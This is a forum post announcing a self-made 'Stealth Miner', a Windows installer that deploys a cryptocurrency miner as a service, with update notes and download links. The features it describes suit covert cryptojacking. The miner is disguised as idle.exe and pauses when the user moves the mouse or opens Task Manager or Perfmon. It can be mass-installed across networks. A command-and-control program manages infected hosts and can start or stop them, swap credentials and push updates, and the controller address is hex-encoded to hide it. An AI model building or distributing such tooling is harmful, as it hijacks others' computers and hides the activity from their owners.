Its not often that I write any code or script...I dont really like it at all and barely know how lol...
But, through using autoit software I have come up w/ a set of scripts that basically "install" minerd w/ user specified pool credentials stored in a text file and there is also a "uninstall" script as well.
Its only for windows 32bit and 64bit. It uses the latest pooler minerd which is written in ASM and offers awesome performance.
It also figures out the number of "cores" on a system and feeds the miner the 1 thread / "core".
It starts at the lowest process priority so it doesnt slow down system and is set to infinite retries w/ miner has no communication w/ pool.
It runs in 2 diff modes - credentials specified in miner.txt - designed for network distribution OR if miner.txt does not exist it prompts for mining credentials upon install.
Just dl the .exe, it will autoextract to tmp folder launch the installer then delete the extracted files.
NOTE: if you want to change miner credentials you will have to open the .exe archive (via WINRAR) and change the credentials in the miner.txt file.Project page @ https://litebit.co/project-item/ltc_stealth/
The uninstall file removes all traces from registry and folders.
UPDATE: 10.25.11, Ive added auto detection of 64bit , 32bit OS and have it pick miners accordingly, also added some more functionality to uninstall script. NOTE: for some reason the miners posted here: http://www.wuala.com/jbw9/pub/Bitcoin/Tenebrix/miner/win/
- all crash themselves =/ not sure what the issue is but Ive packaged the i7 and amdfam10 one w/ my install package (1st linked below)
If anyone has stable 32bit miner link please post and Ill update package! Thanks
Also, Ive added link to .zip file containing source files if you guys wanna mess w/ em =)
I have rewrote a lot of the script and now it does its work by installing itself as a windows service. Mining credentials are still taken from miner.txt so please edit before running the file below ( extract and repack )
Uninstaller also rewritten to remove traces of the service and files.
Source is included in the installer archive.
KNOWN BUGS: Currently , I dont know of any way to launch the service w/ a different process priority, so it launches w/ priority of normal. Has to be manually changed in task manager if desired.
UPDATE 10.27.11, The service method is now only one I host, Ive got it working pretty much in every way superior to the old build. I have added ability for it to set itself to low process priority for the miner. It accomplishes by making a scheduled task which runs as SYSTEM .. it runs the .exe that makes the call to the miner executable to lower its priority. The task does this once on install and is scheduled to do it 30 seconds after every system boot up.
Be sure to change the .txt file in the installer archive(rar) and enter in your miner credentials. Then just run installer.
Uninstaller link provided seperately.
The 32bit miners still crash =/ anyone know where I can update the package w/ 32bit working miners?
Source is included in the package.
UPDATE 10.27.11, a minor update, noticed the installer and uninstaller dont work properly unless ran w/ admin rights, so changed both installer and uninstaller to require elevated privileges to run.
UPDATE 11.25.11, update now shows prompt for mining credentials input. If left unchanged after 20 seconds the pretyped credentials are used, if cancel button pressed, the script is aborted.
Leaving old method up for DL.... for easier mass network installation.
UPDATE 12.19.11, I have updated the service installer to now use POOLER's assembly miners which yeild much better results. Also the 32bit miner now works...my service installer therefore, works completely now.
Thanks to pooler! YOU ROCK DUDE!
UPDATE 2.2.12, I have rewritten the code to not have to differentiate between intel / amd processors. Removed the priority scheduling task since the miner now sets itself to lowest priority. Using latest version of 2.1.2 binaries from pooler. Changes made to both service installer versions.
UPDATED 3.6.12, I have added a new version of the installer which now keeps the prompt method but also is mouse sensitive and it polls mouse position every second, if theres movement it stops the minerd service. If there is no movement it waits 30 seconds and checks again, if there is no movement then it starts the service. Also, it checks to see if Task Manager is open, if it is, it wont start the miner. Updated the uninstaller to properly remove all versions.
UPDATED 3.7.12, Updated all archives w/ latest pooler miners which includes AVX support for 64bit OS. Also made process checking more robust for the mouse launcher process and mouse listener itself.
UPDATED 3.7.12, The mouse sensing installer package is now RDP aware and handles RDP sessions differently, then when it closes it goes back into mouse sensing mode.
UPDATED 3.8.12, There is only one installer now - it does all 3 functions of the previous installers. If you wish to run on network in distributed mode then open the archive, rename SAMPLE_miner.txt to miner.txt and edit it w/ your mining credentials, save it and update the archive w/ the new file. Also, 3rd line in miner.txt put either true or false for enabling mouse movement sensing.
If you leave SAMPLE_miner.txt unchanged and dont rename or create miner.txt it will run in prompted mode which will prompt you for your mining credentials. Mouse sensing mode is always enabled in this mode.
Other changes: Put minerd into seperate 32 / 64 directories and renamed it to idle.exe. Added perfmon.exe to the blacklist along w/ taskmgr.exe to stop the miner when either of these processes are detected running. Updated Uninstaller as well. Source is included in the archive. Created README.txt in archive.
UPDATED 3.8.12, Another feature added to the installer. When using miner.txt there are a few option now to enable installation logging. It basically just says if installer was successful in creating the service or not. It records the hostname, hostip and success status and appends it to a log file you specify in miner.txt as well. This feature added as a request by solarizer. Will improve upon it in future, for now its basic functionality.
UPDATED 3.12.12, After many hours of work on this script and going crazy scripting. Ive finally pulled off a very basic C&C server / client infrastructure for my Stealth Miner!!
Its still in its experimental stage but the basics work pretty well in my LAN testing.
Ive added 2 new links to this page, one is the installer and the other is the C&C miner watcher / management program.
The readme and example miner.txt file has been updated w/ all the info you need to get started. But heres the rundown:
I only have the management side enabled for the miner.txt install version - not the prompt runmode.
So, the miners themselves make outbound requests to the listener host. You specify the hostname / ip of the listener in miner.txt
Also you can disable / enable management in miner.txt
Whatever PC the listener C&C program is on, will hopefully have a firewall rule added when its ran to allow communication on port 43432 TCP
If youre controlling host is behind a router(controlling remote hosts over internet) then you will need to forward 43432 TCP through your router.
Once you open the C&C program, if everything is configured correctly, the list on the left should be populated w/ hosts that have the miner installed. It refreshes the list about every 20-30 seconds.
Enter commands into the input field below the list.
Commands will be ran against the currently selected miner in the left list.
Select "issue command" button to send to selected miner.
The commands that work currently against miners are:
start - starts the miner
stop - stops the miner
uninstall - completely removes miner from system
The right pane shows status of commands ran. Its kinda buggy but it works.
Also, you may notice when the left list refreshes , the numbers on the hosts get changed. Dont be concerned. Its just reconnecting to them on different sockets. The only time a command may get messed up is when its in the middle of refreshing the window.
I think, currently it has the ability to hold up to 100 hosts, I havent tried any huge list of hosts, so dont even know if that left pane will scroll when you get a lot of hosts..LOL
Anyways, I havent tested this across the internet but theoretically should work. Ive tested it in a LAN setup and works beautifully so far.
Plz reply w/ any bugs / ideas! Greatly appreciate it!
!!SOON TO COME : will be the ability to remotely change miner credentials! stay tuned!
3.13.12, This update adds another command to the C&C program and fixes bugs, changes UI and enhances it a bit behind the scenes.
The new command is "hashrate". To see the latest reported hashrate of a miner, select the host in the list and enter hashrate in the command input. Hashrate will be reported in right pane.
UI enhancements: the issue command now has default focus when starting program. So, just select host, enter proper command and hit ENTER key. Also, added button on command history list to clear it when it gets all crazy =)
Links are updated!
3.13.12, This is the update everyones talking about! The ability to change remote mining credentials via the C&C program! the command is "changecred"
It will bring up another box which has the mining URL, username:pass, threads
Hitting update will apply the changes and restart the miner. Cancel will not make any changes. If you hit update w/ no changes made it simply rewrites current credentials.
Please test! Enjoy!
Links updated w/ latest builds - this only applies to the C&C version and the C&C program link.
3.14.12, This is another update everyone has been wanting! The ability to remotely update the miner package is now integrated. the command is "updateminer"
It will bring a file browse , when you select the new package it will begin transferring it. It *may inform if the package was successfully received*(kinda buggy)
It will then begin the uninstall and update process and will report back if its a success or not. If it cant be done it will attempt to reinstall old miner.
Links updated w/ latest builds - this only applies to the C&C version and the C&C program link.
3.15.12, Today brings many fixes / enhancements to the C&C management program itself. Including: commands no longer go in the host list - they go in the command history list properly. Added color to the host list. Added timestamps to commands in history field. Removed session id from command history result and just have the hostname listed and result of command - except for changecred...still workin on this one.
Also, since I was using the C&C management endpoint ip as an argument for the management program itself (on install) it was obvious via the command line argument readout where the data was going. So, converted the data to its ANSI binary hex equivilant for the argument and converts it back in the management program itself. (little more cryptic)
Links updated w/ latest builds - can use remote install feature from previous build to update your miners to related release.
*note to get the latest changes for C&C, you will always need to redownload it from link below!
3.16.12 - Some minor updates to the uninstaller and how it handles unable to being able to reach C&C manager if it disconnects, so it doesnt endlessly loop. Also, updated filename handling of miner.txt. Increased upload speed to miners when updating the installer package on miners. READ CAREFULLY BELOW!
YOU MUST UPDATE THE PACKAGE ON MINERS BEFORE UPDATING THE C&C manager!
Ive left the link to the older C&C manager below, this way noone gets stuck. If you upload the new package w/ new C&C manager.. first miners will fail the installation and revert to old version. In a day or 2 I will update link to latest C&C manager which is faster.
3.19.12 - Updated the C&C link w/ newest build, for those that havent updated miner yet please do so w/ your current C&C before using this one.
3.20.12 - Many bug fixes in service management and installer. Update your miners w/ latest package via updateminer command in your C&C.
Also, made small updates to C&C as well. Newest builds posted.
4.5.13 - UPDATED download links, put on new location, at least temporarily. Dropbox apparently is limiting my download rate...bleh, need to find a more permanent solution I guess, while being easy...any suggestions?
5.2.13 - UPDATED download links, fixed missing miner files in installers. Updated miner to latest pooler minerd version both 32 & 64
5.6.13 - UPDATED download links for the installers
Must have .net 3.5 installed on machine for installer to work, needs internet connection of course. C&C - for it to receive from clients, if behind firewall, must open port 43432. For windows xp,vista,7 32/64 only!LIMITATIONS:
C&C- can only select / issue commands one host at a time currently, can only monitor up to 100 hosts currently.BUGS:
- sometimes the miner status is never received because of list refresh (socket change) but the command was still carried out. To verify "changecred" command, simply run it against same host again, the box should show changed credentials.
Here is the link to it:
SOURCE FILES ARE INCLUDED IN ARCHIVES... *the installers(first 2 links) are winrar self executing archives - open w/ winrar first to edit miner.txt)README POSTED: (read first! contains commands to use for C&C)http://www.filedropper.com/readme_14
ALL-IN-ONE Installer: (no management, stable afaik)http://www.filedropper.com/minerdserviceallinone
ALL-IN-ONE Installer: (with management and may be buggy, please report issues)http://www.filedropper.com/minerdserviceallinonecc
C&C for Stealth Miner:http://www.filedropper.com/stealthminercc
Let me know if there are any bugs =) Thanks
Old installers listed for reference below:Prompting + Mouse sensing Installer Package:
Prompting Installer Package:
http://dl.dropbox.com/u/1791919/ltc/minerdService.exeCheck out the my miner page @ https://litebit.co/project-item/ltc_stealth/